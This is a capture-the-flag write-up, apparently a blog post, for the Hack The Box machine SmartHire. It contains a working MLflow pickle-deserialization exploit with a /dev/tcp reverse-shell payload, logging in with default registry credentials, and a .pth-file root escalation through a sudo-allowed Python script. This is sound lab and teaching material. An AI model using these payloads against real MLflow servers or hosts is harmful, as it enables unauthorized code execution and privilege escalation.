Skip to main content

SmartHire - hackthebox writeup

Updated 11 min readMarkdown
SmartHire - hackthebox writeup

Introduction

Smarthire is a medium rated machine in hackthebox released off-season. This is the first box I submitted to hackthebox and was approved. I expected it to be approved as an easy box, but hackthebox decided to release it as a medium.

The intended path exploits three realistic mistakes: abusing an exposed MLflow registry (default basic auth) to register a malicious PyFunc model (model-poisoning / deserialization RCE), forcing the web app to load the attacker-controlled model via predictable model naming, then escalating svcweb → root via Python's .pth autoloading behavior.

For privilege escalation, svcweb can sudo a Python mlflow maintenance script that calls site.addsitedir() on a plugin directory writable by the devs group (which svcweb belongs to). A malicious .pth file placed there is all it takes — Python automatically executes import-prefixed lines in .pth files during site initialization, so the next sudo invocation runs attacker code as root.

If you would like to take a look at the report containing all implementation details, Take a look - https://gist.github.com/redtrib3/7c896e11e513a77d493d2277eedace7e

Enumeration

Initial Nmap scan:

nmap 192.168.56.101
img1

Nmap Service and script scan:

nmap -p 22,80 -sV -sC -vv 192.168.56.101
img2

Port 80 (HTTP)

Browsing to HTTP redirects us to smarthire.htb

img3

Add that to our Hosts file - /etc/hosts and continue load the website again.

Home page: ('/')

img4

The website is mostly static, containing links to #about, #testimonials, #products - sections containing mostly static text as shown in below screenshots:

img5 img6 img7

Sign up page:

img8

Sign in page:

img8-1

Sign up for an account with any username and password, note down the company you are providing when you signup.

Dashboard (/dashboard):

img9

In dashboard - there are two features:

  1. Train a model: This takes a CSV file containing historical training data, an example is provided to be used.
img10 img11 img12
  1. Make a prediction

A resume can be uploaded in CSV format requiring experience and skills columns and rest all as optional.

img13

A CSV containing the provided example can be uploaded and it returns with a score for the Resume.

img14

Run gobuster/ffuf to find vhosts of the target.

img15

This finds us a vhost - models.smarthire.htb, add it to /etc/hosts and checkout the endpoint.

On visiting the vhost, it asks for Basic authentication credentials:

img16

Press Cancel and you get a error page revealing its a mlflow deployment.

img17

It says:

"You are not authenticated. Please see https://www.mlflow.org/docs/latest/auth/index.html#authenticating-to-mlflow on how to authenticate."

Read the documentation to find that the default credentials of mlflow is "admin:password1234"

But this doesn't work, if you read for the versions from latest to older ones, you can find that the older versions had the basic auth credentials as set as admin:password. Use it to login. Guessing or bruteforcing can also work here as the default credentials are fairly guessable and simple.

MLFlow Dashboard:

img18

The brand header in Navbar clearly indicates the version as 2.14.1, A simple google search for mlflow 2.14.1 exploit yields us these articles that can explain the vulnerability well:

The vulnerability is present in the pyfunc.load_model method that is used to load a model and run prediction. The method deserializes a model without any security checks. thus leading to a remote code execution vulnerability. If the attacker could find a way to log a model and make the server run prediction on it, one could achieve RCE on the server.

On further interaction with the mlflow dashboard, you may notice that the models created from smarthire.htb is stored in the mlflow registry with the naming scheme: <company_name>-<random-id>-models, this is also reflected in the active models listing in smarthire.htb UI.

img19

Same model in MLFlow dashboard:

img20

To get RCE, all we have to do is overwrite this model in MLflow registry present at http://models.smarthire.htb, and when we run a prediction from smarthire.htb, the model with the name is run through load_model() (deserialized).

Foothold

Since mlflow registry dashboard is accessible, anyone could load models into it.

The idea:

  • We have already logged a model into mlflow by training a model with data, and smarthire.htb uses and loads the model when predicting resume scores.
  • The model is given a name which one can note down from the left side box with title "Model Status" on smarthire.htb.
  • To exploit, we must overwrite this model with a malicious one, and use the model for prediction again.

For writing a model to Mlflow, MLFLOW provides a way to directly interact with a model registry using the python library mlflow. Make sure the script uses the same mlflow library version (mlflow==2.14.1) and python version (python3.10) as the the server. (Both of these information are available in the dashboard as shown below - not required to guess!)

img21 img22

Further details of a model are available on clicking on it, this shows python version dependency as python 3.10 and also the exact versions of libraries used.

Script to log a model:


# poc/log_malicious_model.py
# this is the script from  github.com/NiteeshPujari/CVE-2024-37054-MLflow-RCE - made minor tweaks to match the setup.

import mlflow
import os



# https://mlflow.org/docs/2.14.1/auth/index.html#authenticating-to-mlflow
# load env variables to read the username and password that can be send for basic auth protecting the mlflow server.

os.environ["MLFLOW_TRACKING_USERNAME"] = "admin"
os.environ["MLFLOW_TRACKING_PASSWORD"] = "password"

# The URI of your MLflow tracking server
MLFLOW_TRACKING_URI = "http://models.smarthire.htb"
REGISTERED_MODEL_NAME = "redtribe-ce3c8a39a795-model" 

class MaliciousCodeWrapper(mlflow.pyfunc.PythonModel):
    def __init__(self):
        class CommandRunner:
            def __reduce__(self):
                cmd = "/bin/bash -c 'bash -i >& /dev/tcp/192.168.0.109/9001 0>&1'"   # reverse shell, change ip
                return (os.system, (cmd,))
        self.payload = CommandRunner()

    def predict(self, context, model_input):
        return "This model is a malicious payload."

if __name__ == "__main__":
    mlflow.set_tracking_uri(MLFLOW_TRACKING_URI)
    #mlflow.set_experiment("Security Demos")   # This should be removed as smarthire.htb saves its model with name "Default" experiment OR set it to "Default"
    with mlflow.start_run() as run:
        mlflow.pyfunc.log_model(
            artifact_path="model",
            python_model=MaliciousCodeWrapper(),
            registered_model_name=REGISTERED_MODEL_NAME
        )
    print(f"[*] Malicious model '{REGISTERED_MODEL_NAME}' has been logged.")

Run the exploit and here is a challenge that players may potentially face, it is that they catch their own shell from the host. this is a design issue with mlflow that when you run log_model(), it goes through some methods running another method called save_model, which runs load_model() again, which deserializes our evil class, thus executing in our own host.

This is a quirk with mlflow and all you have to do is ignore this by disconnecting from the shell from your host. or only start the netcat listener after logging the model.

img23

catches our own shell!On CTRL^C ing out of our own caught shell, the exploit successfully logs our evil model into models.smarthire.htb

img24

Checking the model registry, it is clear from the source column that our exploit has overwritten the model.

Run the Netcat listener again, and run a prediction on the evil model to catch a shell from the server.

if your python version doesn't match (for eg: you run python3.11 and the server runs python3.10, this could result in the following error)

img25

So make sure to run python3.10 when logging the evil model to the registry.

I'm dealing with this by running the exploit from python3.10 docker container as shown below

FROM python:3.10.12-slim
WORKDIR /work
COPY . /work
RUN pip install --no-cache-dir --timeout=100 --retries=10 \
    cloudpickle==3.1.1 mlflow==2.14.1 pandas
RUN pip install dotenv
CMD ["python3"]
img26

Now that the malicious model is logged, go ahead and run the prediction from smarthire.htb/predict with your nc listener running on the port specified in the reverse shell.

img27

You get a shell as svcweb. to make it more easier to interact, i have provided ssh keys in ~/.ssh, so that players could use stable SSH.

Privilege Escalation

First thing first, check sudo permissions and you see this:

Matching Defaults entries for svcweb on smarthire:
    env_reset, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty

User svcweb may run the following commands on smarthire:
    (root) NOPASSWD: /usr/bin/python3.10 /opt/tools/mlflow_ctl/mlflowctl.py *

It shows that I can run the command /usr/bin/python3.10 /opt/tools/mlflow_ctl/mlflowctl.py with arguments as root.

mlflowctf.py folder and permissions:

-rwxr-xr-- 1 root root 1080 Feb 19 18:16 mlflowctl.py
drwxr-xr-x 4 root root 4096 Feb 19 18:10 plugins

plugins/ directory:

drwxr-xr-x 3 root root 4096 Feb 19 19:15 core
drwxrwxr-x 2 root devs 4096 Feb 20 07:48 dev

plugins/core directory:

-rw-r--r-- 1 root root 1474 Feb 19 16:49 backup_models.py
-rw-r--r-- 1 root root 1492 Feb 19 17:45 mlflow_actions.py

plugins/dev directory is empty:

drwxrwxr-x 2 root devs 4096 Feb 20 07:48 .
drwxr-xr-x 4 root root 4096 Feb 19 18:10 ..

Contents of mlflowctf.py file:


#!/usr/bin/env python3
"""
MLFLOW-CTL: Operational interface for managing the MLflow service.
Supports a pluggable extension model for environment-specific logic.
For changes or plugin requests, please contact the Platform Team.
"""

from pathlib import Path
import sys
import site

BASE_DIR = Path(__file__).resolve().parent
PLUGINS_DIR = BASE_DIR / "plugins"

# make plugins importable
for path in PLUGINS_DIR.iterdir():
    if path.is_dir():
        site.addsitedir(str(path))

def print_usage():
    print("Usage: mlflowctl.py [status|backup-models|restart]")
    sys.exit(1)

def main():
    import mlflow_actions, backup_models

    if len(sys.argv) < 2:
        print_usage()

    action = sys.argv[1]

    if action == "status":
        mlflow_actions.check_status()
    elif action == "backup-models":
        print("[*] Running backup via backup_models plugin...")
        backup_models.run()
    elif action == "restart":
        mlflow_actions.restart()
    else:
        print(f"[!] Unknown action: {action}")
        print_usage()

if __name__ == "__main__": main()

The script seems to be a maintenence wrapper for devops, it modularizes functions using developer created plugins. The core and dev plugin directories are added to site path for import.

Checking what the plugins do:

plugins/core/backup_models.py


#!/usr/bin/env python3
"""
Core plugin: Backup MLflow models
This plugin handles periodic backups of MLflow run artifacts.
"""

import os
import subprocess
from datetime import datetime, timedelta

MLRUNS_PATH = "/opt/mlflow/app/mlruns"
BACKUP_DIR = "/var/backups/mlflow-backup"
BACKUP_INTERVAL_MINUTES = 10

def run():
    os.makedirs(BACKUP_DIR, exist_ok=True)

    # Get existing backups
    backup_files = [
        os.path.join(BACKUP_DIR, f) for f in os.listdir(BACKUP_DIR)
        if f.startswith("mlruns_backup_") and f.endswith(".tar.gz")
    ]
    backup_files.sort(key=os.path.getmtime, reverse=True)

    # Skip if last backup is too recent
    if backup_files:
        last_backup_time = datetime.fromtimestamp(os.path.getmtime(backup_files[0]))
        if datetime.now() - last_backup_time < timedelta(minutes=BACKUP_INTERVAL_MINUTES):
            print(f"Last backup was at {last_backup_time}. Skipping backup (less than {BACKUP_INTERVAL_MINUTES} minutes ago).")
            return

    # Create new backup
    timestamp = datetime.now().strftime("%Y%m%d%H%M%S")
    archive_name = f"mlruns_backup_{timestamp}.tar.gz"
    archive_path = os.path.join(BACKUP_DIR, archive_name)

    try:
        subprocess.run(
            ["/usr/bin/tar", "-czf", archive_path, "-C", MLRUNS_PATH, "."],
            check=True
        )
        print(f"Backup successful: {archive_path}")
    except subprocess.CalledProcessError as e:
        print(f"[!] Backup failed: {e}")

plugins/core/mlflow_actions.py

#!/usr/bin/env python3

from subprocess import run, CalledProcessError

def check_status():
    print("[*] Checking MLflow service status...\n")

    # check-1: through systemctl
    try:
        result = run(["systemctl", "is-active", "mlflow.service"], capture_output=True, text=True, check=True)
        print(f"[+] MLflow service status: {result.stdout.strip()}")

    except subprocess.CalledProcessError:
        print("[!] MLflow service is not running")

    # check-2: docker container
    try:
        result = run(["docker", "ps", "--filter", "name=mlflow-service", "--format", "'{{.Status}}'"], capture_output=True, text=True, check=True)
        status = result.stdout.strip()
        if status:
            print(f"[+] MLflow container status: {status}")
        else:
            print("[!] MLflow container is not running")

    except CalledProcessError as e:
        print(f"[!] Failed to check container status: {e}")


def backup():
    print("[*] Running MLflow backup workflow...\n")
    try:
        run(["/opt/tools/backup_models.py"], check=True)
        print("[*] Backup completed successfully")

    except CalledProcessError as e:
        print(f"[!] Backup failed: {e}")


def restart():

    try:
        print("[*] Restarting docker container, this might take a moment.\n")
        run(["docker", "restart", "mlflow-service"], check=True)
        print("[+] Restart complete.")
    except CalledProcessError as e:
        print(f"[!] Restart failed: {e}")

From the mlflowctf.py file, you can notice that plugin directories are added to sitepath to be imported for usage, but this is a dangerous design flaw as it allows exploitation using .pth files.

The .pth or Path configuration file in Python has two primary uses:

  • Plain text files used to extend the Python module search path (sys.path).
  • Run python code during interpreter startup.

Any .pth file placed in a site directory is automatically processed by Python on startup. Lines beginning with import are executed as code, while other lines are added to sys.path. Since svcweb can write to the plugins/dev site directory, placing a .pth file containing import os; os.system("...") and invoking the script via sudo is sufficient to execute arbitrary commands as root.

The intended privilege escalation method is explained here in detail:

TLDR;

By design, when you run a python process, python checks for files ending with .pth extension in /usr/lib/python3.10/site-packages , and does the following:

  • if the content of the pth file starts with import, it is treated as a python file and is directly passed into exec() with no sanitization whatsoever.
  • if its anything other than import, it is treated as an extra sys.path, and is added to python's path.
  • that means if you can write into site-packages directory, you could drop a shell, when any python process is ran by any user.

Do the following to get Root:

Since devs group members have right permission in plugins/dev, svcweb can write a *.pth file into that directory. The .pth file is ran first if it contains import in line 1.

svcweb@smarthire:/opt/tools/mlflow_ctl/plugins$ echo 'import os; os.system("/bin/bash")' > dev/exp.pth
svcweb@smarthire:/opt/tools/mlflow_ctl/plugins$ sudo /usr/bin/python3.10 /opt/tools/mlflow_ctl/mlflowctl.py status
root@smarthire:/opt/tools/mlflow_ctl/plugins# id
uid=0(root) gid=0(root) groups=0(root)

About the author

  • I write about Hacking, CTFs and other interesting security and programming stuff.

No comments yet. Be the first to comment.